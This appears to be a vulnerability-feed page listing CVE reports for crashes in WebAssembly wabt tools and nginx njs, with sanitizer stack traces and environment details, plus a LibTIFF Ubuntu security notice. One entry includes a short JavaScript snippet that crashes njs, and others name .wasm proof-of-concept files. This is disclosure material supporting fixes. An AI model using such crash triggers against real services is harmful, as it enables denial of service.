    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff7a5a859 in __GI_abort () at abort.c:79
    #2  0x000000000052769e in wabt::(anonymous namespace)::CWriter::Write (this=0x7fffffffce30, exprs=...) at ../../../../src/c-writer.cc:1969
    #3  0x00000000005315c3 in wabt::(anonymous namespace)::CWriter::Write<wabt::(anonymous namespace)::Newline, wabt::intrusive_list<wabt::Expr> const&> (this=0x7fffffffce30, t=..., u=...) at ../../../../src/c-writer.cc:205
    #4  0x000000000052760d in wabt::(anonymous namespace)::CWriter::Write (this=0x7fffffffce30, exprs=...) at ../../../../src/c-writer.cc:1945
    #5  0x00000000005315c3 in wabt::(anonymous namespace)::CWriter::Write<wabt::(anonymous namespace)::Newline, wabt::intrusive_list<wabt::Expr> const&> (this=0x7fffffffce30, t=..., u=...) at ../../../../src/c-writer.cc:205
    #6  0x000000000052760d in wabt::(anonymous namespace)::CWriter::Write (this=0x7fffffffce30, exprs=...) at ../../../../src/c-writer.cc:1945
    #7  0x000000000051dd51 in wabt::(anonymous namespace)::CWriter::Write<wabt::intrusive_list<wabt::Expr> const&, wabt::(anonymous namespace)::LabelDecl> (this=0x7fffffffce30, t=..., u=...) at ../../../../src/c-writer.cc:204
    #8  0x000000000051bd15 in wabt::(anonymous namespace)::CWriter::Write (this=0x7fffffffce30, func=...) at ../../../../src/c-writer.cc:1423
    #9  0x000000000051b647 in wabt::(anonymous namespace)::CWriter::Write<wabt::(anonymous namespace)::Newline, wabt::Func const&, wabt::(anonymous namespace)::Newline> (this=0x7fffffffce30, t=..., u=..., args=...) at ../../../../src/c-writer.cc:205
    #10 0x000000000051182d in wabt::(anonymous namespace)::CWriter::WriteFuncs (this=0x7fffffffce30) at ../../../../src/c-writer.cc:1393
    #11 0x0000000000500bf4 in wabt::(anonymous namespace)::CWriter::WriteCSource (this=0x7fffffffce30) at ../../../../src/c-writer.cc:2794
    #12 0x00000000004ffcd7 in wabt::(anonymous namespace)::CWriter::WriteModule (this=0x7fffffffce30, module=...) at ../../../../src/c-writer.cc:2807
    #13 0x00000000004ff48d in wabt::WriteC (c_stream=0x7fffffffdaa0, h_stream=0x7fffffffdaa0, header_name=0x7ccce0 <str> "wasm.h", module=0x7fffffffd2b0, options=...) at ../../../../src/c-writer.cc:2819
    #14 0x00000000004f11b4 in ProgramMain (argc=3, argv=0x7fffffffe078) at ../../../../src/tools/wasm2c.cc:179
    #15 0x00000000004f37f2 in main (argc=3, argv=0x7fffffffe078) at ../../../../src/tools/wasm2c.cc:190
    #16 0x00007ffff7a5c083 in __libc_start_main (main=0x4f37d0 <main(int, char**)>, argc=3, argv=0x7fffffffe078, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe068) at ../csu/libc-start.c:308
    #17 0x000000000043e44e in _start ()

CVE-2022-43283: Aborted in CWriter::Write at wasm2c  · Issue #1985 · WebAssembly/wabt

Nginx NJS v0.7.2 to v0.7.4 was discovered to contain a segmentation violation via njs_scope_valid_value at njs_scope.h.

    OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    Commit  : 7bd570b39297d3d91902c93a624c89b08be7a6fe
    Version : 0.7.2
    Build   : 
              NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
              NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
    

    function main() {
    function a0(a1,a2) {
        a0 = a1;
    }
    a0();
    a0();
    }
    main();
    

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2064564==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004e36b5 bp 0x7ffd26e5c130 sp 0x7ffd26e5b920 T0)
    ==2064564==The signal is caused by a READ memory access.
    ==2064564==Hint: address points to the zero page.
        #0 0x4e36b5 in njs_scope_valid_value /home/q1iq/Documents/origin/njs/src/njs_scope.h:85:10
        #1 0x4e36b5 in njs_vmcode_function_copy /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:1223:14
        #2 0x4e36b5 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:727:23
        #3 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
        #4 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
        #5 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
        #6 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
        #7 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
        #8 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
        #9 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
        #10 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
        #11 0x7f135ab960b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
        #12 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_scope.h:85:10 in njs_scope_valid_value
    ==2064564==ABORTING

CVE-2022-43284: SEGV njs_scope.h:85:10 in njs_scope_valid_value · Issue #470 · nginx/njs

wasm-interp v1.0.29 was discovered to contain a heap overflow via the component std::vector<wabt::Type, std::allocator<wabt::Type>>::size() at /bits/stl_vector.h.

    OS      : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    Commit  : 3054d61f703d609995798f872fc86b462617c294
    Version : 1.0.29
    Build   : make clang-debug-asan
    

    /wabt/out/clang/Debug/asan/wasm-interp  --enable-all ./poc-interp-1.wasm
    =================================================================
    ==3163982==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000e318 at pc 0x000000509b36 bp 0x7ffeb0802e90 sp 0x7ffeb0802e88
    READ of size 8 at 0x60600000e318 thread T0
        #0 0x509b35 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40
        #1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58
        #2 0x56955c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallIndirectExpr(unsigned int, unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1176:3
        #3 0x6ead11 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:937:9
        #4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3
        #5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7
        #6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26
        #7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3
        #8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17
        #9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10
        #10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3
        #11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19
        #12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25
        #13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10
        #14 0x7ff3cc7e6082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
        #15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d)
    
    Address 0x60600000e318 is a wild pointer inside of access range of size 0x000000000008.
    SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const
    Shadow bytes around the buggy address:
      0x0c0c7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    =>0x0c0c7fff9c60: fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff9cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==3163982==ABORTING

CVE-2022-43281: heap overflow in wasm-interp · Issue #1981 · WebAssembly/wabt

wasm-interp v1.0.29 was discovered to contain an out-of-bounds read via the component OnReturnCallIndirectExpr->GetReturnCallDropKeepCount.

**Environment**

    OS      : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    Commit  : 3054d61f703d609995798f872fc86b462617c294
    Version : 1.0.29
    Build   : make clang-debug-asan
    

**Proof of concept**

poc-interp-3.wasm  
poc-interp-3.wasm.zip

**Stack dump**

    /wabt/out/clang/Debug/asan/wasm-interp  --enable-all ./poc-interp-3.wasm
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==1491197==ERROR: AddressSanitizer: SEGV on unknown address 0x60600008bb58 (pc 0x000000509b3e bp 0x7ffe9a810b70 sp 0x7ffe9a810b40 T0)
    ==1491197==The signal is caused by a READ memory access.
        #0 0x509b3e in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40
        #1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58
        #2 0x56955c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallIndirectExpr(unsigned int, unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1176:3
        #3 0x6ead11 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:937:9
        #4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3
        #5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7
        #6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26
        #7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3
        #8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17
        #9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10
        #10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3
        #11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19
        #12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25
        #13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10
        #14 0x7fa32b622082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
        #15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const
    ==1491197==ABORTING

CVE-2022-43282: Out-of-bound read in OnReturnCallIndirectExpr->GetReturnCallDropKeepCount · Issue #1983 · WebAssembly/wabt

wasm-interp v1.0.29 was discovered to contain an out-of-bounds read via the component OnReturnCallExpr->GetReturnCallDropKeepCount.

**Environment**

    OS      : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    Commit  : 3054d61f703d609995798f872fc86b462617c294
    Version : 1.0.29
    Build   : make clang-debug-asan
    

**Proof of concept**

poc-interp-2.wasm  
poc-interp-2.wasm.zip

**Stack dump**

    /wabt/out/clang/Debug/asan/wasm-interp  --enable-all ./poc-interp-2.wasm
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==1655959==ERROR: AddressSanitizer: SEGV on unknown address 0x606000018258 (pc 0x000000509b3e bp 0x7ffc2dca9870 sp 0x7ffc2dca9840 T0)
    ==1655959==The signal is caused by a READ memory access.
        #0 0x509b3e in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40
        #1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58
        #2 0x568b24 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallExpr(unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1145:3
        #3 0x6ea3cc in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:919:9
        #4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3
        #5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7
        #6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26
        #7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3
        #8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17
        #9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10
        #10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3
        #11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19
        #12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25
        #13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10
        #14 0x7f6273b8f082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
        #15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const
    ==1655959==ABORTING

CVE-2022-43280: Out-of-bound read in OnReturnCallExpr->GetReturnCallDropKeepCount · Issue #1982 · WebAssembly/wabt

Ubuntu Security Notice 5705-1 - Chintan Shah discovered that LibTIFF incorrectly handled memory in certain conditions. An attacker could trick a user into processing a specially crafted image file and potentially use this issue to allow for information disclosure or to cause the application to crash. It was discovered that LibTIFF incorrectly handled memory in certain conditions. An attacker could trick a user into processing a specially crafted tiff file and potentially use this issue to cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-5705-1October 27, 2022tiff vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 16.04 ESMSummary:Several security issues were fixed in LibTIFF.Software Description:- tiff: Tag Image File Format (TIFF) libraryDetails:Chintan Shah discovered that LibTIFF incorrectly handled memory incertain conditions. An attacker could trick a user into processing a specially crafted image file and potentially use this issue to allow for information disclosure or to cause the application to crash.(CVE-2022-3570)It was discovered that LibTIFF incorrectly handled memory in certainconditions. An attacker could trick a user into processing a speciallycrafted tiff file and potentially use this issue to cause a denial of service. (CVE-2022-3598)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 16.04 ESM:   libtiff-tools                   4.0.6-1ubuntu0.8+esm6In general, a standard system update will make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-5705-1   CVE-2022-3570, CVE-2022-3598

Tag

#ubuntu